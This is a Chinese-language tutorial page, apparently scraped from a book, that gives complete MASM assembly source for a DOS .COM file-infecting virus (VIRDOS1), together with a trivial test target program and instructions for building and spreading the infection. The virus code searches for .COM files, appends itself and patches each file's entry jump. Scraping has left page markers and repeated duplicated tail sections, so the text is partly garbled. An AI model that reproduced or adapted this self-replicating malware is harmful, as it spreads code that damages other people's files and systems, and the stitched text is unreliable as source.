===========BEGIN OF LJ.ASM============
请在DOS下用MASM 5.O编译,然后用LINK.EXE连接.最后用EXE2BIN连接成.COM文件,格式如下:
C:\>MASM LJ.ASM 生成.OBJ文件及.LST文件
C:\>LINK LJ.OBJ 生成.EXE文件
C:\>EXE2BIN LJ.EXE LJ.COM
即生成LJ.COM文件,然后即可直接运行,该程序无任何目的,只用于被病毒感染调试用,可直接运行,格式如下:
C:>LJ
.19.
原程序如下:
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100H
LJJ2 PROC FAR
START:
JMP REAL_START
REAL_START:
NOP
NOP
NOP
MOV AH,4CH
INT 21H
LJJ2 ENDP
SEG_A ENDS
end start
=============BEGIN OF VIRDOS1.ASM============(.COM文件病毒)
(1)请在DOS下用MASM 5.O编译,然后用LINK.EXE连接.最后用EXE2BIN连接成.COM文件,格式如下:
C:\>MASM VIRDOS1.ASM 生成.OBJ文件及.LST文件
C:\>LINK VIRDOS1.OBJ 生成.EXE文件
C:\>EXE2BIN VIRDOS1.EXE VIRDOS1.COM
即生成VIRDOS1.COM文件,然后即可运行,先看一个调试程序LJ.COM的字节数(如10个字节长度) 运行格式如下:
C:>VIRDOS1 LJ.COM
在DOS下运行上述命令后即可看到LJ.COM文件字节变长,这就是LJ.COM被病毒VIRDOS1.COM第一次感染后的结果.我们可以用COPY命令复制一个同LJ.COM(如10个字节长度)原程序一样的程序(未被病毒感染的程序),叫LJ1.COM吧!
被病毒感染的LJ.COM在DOS下运行的格式:
C:>LJ.COM
运行过后我们再查看LJ1.COM文件长度是否变长了,是的话即LJ1.COM也被病毒感染了.
;本程序调试请使用TR或DEBUG
GoHead MACRO
MOV AX,4200H ;移动文件指针至文件头
XOR CX,CX
XOR DX,DX
INT 21H
ENDM
GoTail MACRO
MOV AX,4202H ;移动文件指针至文件尾
XOR CX,CX
XOR DX,DX
INT 21H
ENDM
CODE SEGMENT
ORG 100H
ASSUME CS:CODE;DS:CODE
START: JMP INIZ ;无条件转到INIZ(目的执行病毒释放程序)
BEGIN:
JMP START1 ;执行病毒第一条指令
FN DB '*.COM',0 ;用于搜索所有.COM文件的伪定义
COM_SH_LEN DW 0000H ;用于目的文件长度的伪定义(因为病毒加载目的文件时要
;计算目的文件长度)
ENDCDE DB 0
OPENMSG DB '***OPEN ERROR ***',0DH,0AH ;第一次想要释放病毒时打开目的文件错误
FTYPE DB 0
HDI DW 0
.22.
QQ DW 0
KT DW 0
LEN DD 0
BUF DB 1024 DUP(0) ;缓冲区1024字节
; STR DB 0DH,0AH,"NO -MATCH! $"
STR1 DB 0DH,0AH,"FOUND DABIVIRUS,KILLED!$"
;STR2 DB 0DH,0AH,"FOUND DABIVIUFS IN MEMORY RDBOOT WITHNO-VIRUS! $"
BUT DW 0000H
COM_HANDLE DW 0000H ;文件句柄
INT13H DD 0000H ;中断13的存储地址
INT21H DD 0000H ;中断21的存储地址
INT2FH DD 0000H ;中断2F的存储地址
JJ DW 0000H
CURRENT_INT DD 3 DUP(0)
TF DB 2 DUP(0)
COM_BUF DB 0E9H,0,0
COM_BU DB 3 DUP(0)
HEAD1 DB 10 DUP(0)
HEAD7 DB 7 DUP(0)
HEAD3 DB 3 DUP(0)
READ_BUF DB 10 DUP(0)
HEAD2 DB 10 DUP(0)
COM_MSG DB 0AH,0DH
DB "Notice Ifound Unknow Virus.."
db 0AH,0DH
DB "Now,I kill it"
DB 0AH,0DH,'$'
LJG DB 0AH,0DH
DB "I cat not write back file"
DB 0AH,0DH,'$'
START1:
[1] [2] [3] [4]
MOV AH,30H 取DOS版本
INT 21H
CMP BL,5BH 是5.0版吗,不是转NEXT
JNZ NEXT
; LEA DX,STR2+7
JMP EXIT7 ;无条件转EXIT7
NEXT: MOV BL,DS:[80H] ;取.COM文件80H缓冲区.(80H区作用请参考本书其他章节)
OR BL,BL ;BL或运算
; JNZ NEXT1
JMP NEXT1 ;转NEXT1
NEXT1:XOR BH,BH ;BH或运算
.23.
MOV BYTE PTR [BX+81],0 ;[BX+81]单元置0
MOV SI,81H ;SI=81H
LOOP1:LODSB
CMP AL,20H ;SI是否为空格,相等转LOOP1,不相等SI=SI-
JZ LOOP1
DEC SI
LEA DI,FN+[DI] ;DI=文件被病毒感染后的(*.COM)字符
PUSH BX
; PUSH DI
MOV CX,BX ;不为0时重复传送指令
REPNZ MOVSB
XOR CX,CX ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置
MOV DI,101H
MOV BX,[DI]
LEA DX,FN+[BX] ;被病毒感染后.COM字符的正确位置
MOV CX,0
MOV AH,4EH ;搜索.COM文件
INT 21H
LOOP2:JNC NEXT2 ;没错转NEXT2
JMP EXITE
NEXT2:
MOV DI,00H
MOV BP,0101H
MOV DI,[BP] ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置送DI
PUSH DI
XOR CX,CX
; LEA SI,READ_BUF+[DI]
LEA SI, HEAD3+[DI] ;恢复被病毒感染后原文件第一条指令,以便文件能正常运行
MOV DI,100H
MOV CX,3
CLD
REP MOVSB
POP DI
MOV AH,2FH
INT 21H
PUSH ES ;设置磁盘传送地址
POP DS
ADD BX,1EH
PUSH BX
; POP DI ;计算BX在80区的正确位置
POP DX
.24.
CALL SCAN ;调用搜索模块,成功转YY
JNC YY
JMP EXITE
YY: MOV AH,4FH ;搜索下一个.COM文件
INT 21H
JC EXIT7
JMP LOOP2
EXIT7:JMP DI ;转0100H继续执行原文件
SCAN PROC NEAR ;搜索.COM文件模块
MOV SI,DX ;SI=DX
; POP DI
MOV BP,DI ;BP=DI
PUSH BP ;BP入栈
CALL DISP ;调用显示字母(文件名.COM)字符模块
CLD ;去方向
LP1:LODSB ;装入AL
CMP AL,'.' ;比较是否为”.”字符
JZ SL ;相等转SL
CMP AL,0 ;比较是否为0,不相等转LP1
JNZ LP1
JMP EXITS
SL:LES AX,[SI] ;将SI的单元内容送AX,SI+2=ES的单元内容送BX
MOV BX,ES
CMP AX,4F43H ;比较是否为CO字符
JNZ EXITS ;不相等转EXITS
CMP BL,4DH ; 比较是否为M字符
JNZ EXITS ;不相等转EXITS
JMP GOKILL ;转GOKILL
GOKILL:CALL KILL ;调用感染模块
EXITE: XOR AX,AX
XOR BX,BX
XOR DX,DX ;寄存器清0,并转0100H执行原文件
XOR SI,SI
MOV DI,0100H
JMP DI
EXITS:RET
SCAN ENDP
KILL PROC NEAR
MOV AX,3D02H ;读写打开文件
INT 21H ;打开目标文件的.COM文件,准备感染(目标文件的意思是正在运行的文件
JNC COM ;如A.COM打开另一个B.COM文件
.25.
JMP EXITK
COM:MOV BX,AX
;MOV DI,00H
;MOV BP,0101H
;MOV DI,[BP]
MOV AX,4200H
XOR CX,CX ;移动文件指针至文件头
MOV DX,0
INT 21H
MOV CX,3
LEA DX,COM_BUF+[DI] ;读文件头三个字节入正在运行的文件COM_BUF+[DI]偏移地址
MOV AH,3FH ;处
INT 21H
;JMP COM1
MOV AX,4200H
XOR CX,CX
MOV DX,0 ;移动文件指针至文件头
INT 21H
MOV CX,3
LEA DX,HEAD3+[DI] ;读文件头三个字节入正在运行的文件HEAD3+[DI]偏移地址处
MOV AH,3FH
INT 21H
JMP COM1 ;转COM1
COM1:MOV AL,COM_BUF+[DI] ;比较目标文件0100H处是否为此0E9H(即JMP)
CMP AL,0E9H ;是的话转COM2准备感染
JZ COM2
JMP EXITR
COM2:
GoTail ;移动文件指针至文件尾
MOV Word PTR [COM_SH_LEN+[DI]] ,AX ;目标文件长度送[COM_SH_LEN+[DI]]的偏移地址处
ADD AX,0FFFDH ;AX=目标文件长度-2
[1] [2] [3] [4]
MOV WORD PTR [COM_BUF+1+[DI]],AX ;送入[COM_BUF+[DI]]
PUSH AX ;AX入栈
; MOV WORD PTR [TF+[DI]],AX
LEA DX, BEGIN+[DI] ;将BEGIN+[DI]偏移地址送DX
MOV CX,063DH ;写病毒CX=063DH(H为十六进制)入目标文件
; ADD WORD PTR COM_SH_LEN+[BP],CX
MOV AH,40H
INT 21H
JMP HL
HL:
.26.
MOV AX,4200H
XOR CX,CX ;移动文件指针至0101H处
MOV DX,1
INT 21H
POP AX ;AX出栈(AX=目标文件长度-2)
MOV WORD PTR KT+[DI],AX ;送入KT+[DI]偏移地址处
MOV AH,40H
LEA DX,KT+[DI] ;写2个字节入0101H处,目的是目标文件被病毒感染后第一条指令
MOV CX,2 ;被修改成(JMP 后加病毒入口地址)
INT 21H
JMP EXITR
EXITR:MOV AH,3EH ;关闭文件
INT 21H
EXITK:RET ;返回调用处
KILL ENDP
DISP PROC NEAR
PUSH SI
MOV AL,0DH
MOV AH,0EH
INT 10H
MOV AL,0AH ;显示字符模块,搜索时显示(文件名.COM)
MOV AH,0EH
INT 10H
CLD
DD1:LODSB
CMP AL,0
JZ EXITD
MOV AH,0EH
INT 10H
JMP DD1
EXITD:POP SI
RET
DISP ENDP
INIZ:
MOV AX,3513H
INT 21H
MOV WORD PTR INT13H,BX ;取中断13向量地址送入;INT13H,INT13H+2
MOV WORD PTR [INT13H+2],ES ;偏移地址处
MOV AX,3521H
INT 21H
MOV WORD PTR INT21H,BX ;取中断21向量地址送入INT21H,INT21H+2偏移地址处
MOV WORD PTR [INT21H+2],ES
.27.
MOV AX,352FH
INT 21H
MOV WORD PTR INT2FH,BX ;取中断2F向量地址送入INT2FH,INT2FH+2偏移地址处
MOV WORD PTR [INT2FH+2],ES
PUSH DS ;DS=ES
POP ES
MOV SI,082H ;SI=082H
MOV DI,OFFSET PATH ;DI=PATH单元
CLD ;去方向
MOVE:
CMP BYTE PTR DS:[SI],0DH ;比较是否有回车键
JE CON4 ;相等转CON4
MOVSB ;不相等重复传送字节
JMP MOVE ;无条件转MOVE
CON4:
XOR AL,AL
MOV ES:[DI],AL ;PATH偏移地址送DX
MOV DX,OFFSET PATH ;按路径打开文件名(格式为原文件名 目的文件名)
MOV AX,3D02H ;准备第一次感染
INT 21H
JNC CONTINUE ;打开成功转CONTINUE
JMP OPEN_ERROR
CONTINUE:
MOV DS:HANDLE,AX ;文件句柄送DS:HANDLE,BX
MOV BX,AX
GoHead ;移动文件指针至文件头
MOV BX,DS:HANDLE
MOV AH,3FH
MOV DX,OFFSET READ_BUF ;读文件头10个字节入READ_BUF
MOV CX,10
INT 21H
MOV SI,OFFSET READ_BUF
MOV DI,OFFSET HEAD3 ;三个送HEAD3地址偏移处
MOV CX,3
CLD
REP MOVSB
MOV CX,7
MOV DI,OFFSET HEAD7 ;七个送HEAD7
REP MOVSB
GoTail ;移动文件指针至文件尾
MOV WORD PTR COM_SH_LEN,AX ;AX=目标文件长度-2
ADD AX,0FFFDH
MOV WORD PTR [COM_BUF+1],AX
.28.
ADD AX,0FFFEH ;AX=目标文件长度-3
MOV WORD PTR BUT,AX ;送入BUT偏移地址
MOV DX,OFFSET BEGIN
MOV CX,OFFSET INIZ ;计算INIZ-BEGIN地址单元中长度送CX,即计算病毒长度-3
SUB CX,OFFSET BEGIN
ADD WORD PTR COM_SH_LEN,CX ;写病毒程序入目标文件(长度=CX)
MOV AH,40H
INT 21H
GoHead ;移动文件指针至文件头
MOV DX,OFFSET COM_BUF
MOV CX,3 ;写三个字节COM_BUF处内容写入目标文件头
MOV AH,40H
INT 21H
MOV AH,3EH ;关闭文件
INT 21H
MOV AH,09H
MOV DX,OFFSET MSG2
INT 21H
JMP EXIT
OPEN_ERROR:
MOV AH,09H
MOV DX,OFFSET MSG1
INT 21H
EXIT:
MOV AH,4CH ;结束并返回DOS
INT 21H
PATH DB 62 DUP(0) ;文件路径用的缓冲区
MSG1 DB 0DH,0AH,"File can not open!$"
MSG2 DB "Now I have pritected this file.$"
[1] [2] [3] [4]
HANDLE DW 0000H ;文件句柄用
CODE ENDS
END START
(出处:http://www.sheup.com)
[1] [2] [3] [4]
MOV CX,3
CLD
REP MOVSB
MOV CX,7
MOV DI,OFFSET HEAD7 ;七个送HEAD7
REP MOVSB
GoTail ;移动文件指针至文件尾
MOV WORD PTR COM_SH_LEN,AX ;AX=目标文件长度-2
ADD AX,0FFFDH
MOV WORD PTR [COM_BUF+1],AX
.28.
ADD AX,0FFFEH ;AX=目标文件长度-3
MOV WORD PTR BUT,AX ;送入BUT偏移地址
MOV DX,OFFSET BEGIN
MOV CX,OFFSET INIZ ;计算INIZ-BEGIN地址单元中长度送CX,即计算病毒长度-3
SUB CX,OFFSET BEGIN
ADD WORD PTR COM_SH_LEN,CX ;写病毒程序入目标文件(长度=CX)
MOV AH,40H
INT 21H
GoHead ;移动文件指针至文件头
MOV DX,OFFSET COM_BUF
MOV CX,3 ;写三个字节COM_BUF处内容写入目标文件头
MOV AH,40H
INT 21H
MOV AH,3EH ;关闭文件
INT 21H
MOV AH,09H
MOV DX,OFFSET MSG2
INT 21H
JMP EXIT
OPEN_ERROR:
MOV AH,09H
MOV DX,OFFSET MSG1
INT 21H
EXIT:
MOV AH,4CH ;结束并返回DOS
INT 21H
PATH DB 62 DUP(0) ;文件路径用的缓冲区
MSG1 DB 0DH,0AH,"File can not open!$"
MSG2 DB "Now I have pritected this file.$"
HANDLE DW 0000H ;文件句柄用
CODE ENDS
END START
(出处:http://www.sheup.com)
[1] [2] [3] [4] [5]
INT 21H
MOV AH,3EH ;关闭文件
INT 21H
MOV AH,09H
MOV DX,OFFSET MSG2
INT 21H
JMP EXIT
OPEN_ERROR:
MOV AH,09H
MOV DX,OFFSET MSG1
INT 21H
EXIT:
MOV AH,4CH ;结束并返回DOS
INT 21H
PATH DB 62 DUP(0) ;文件路径用的缓冲区
MSG1 DB 0DH,0AH,"File can not open!$"
MSG2 DB "Now I have pritected this file.$"
HANDLE DW 0000H ;文件句柄用
CODE ENDS
END START
(出处:http://www.sheup.com)
[1] [2] [3] [4] [5] [6]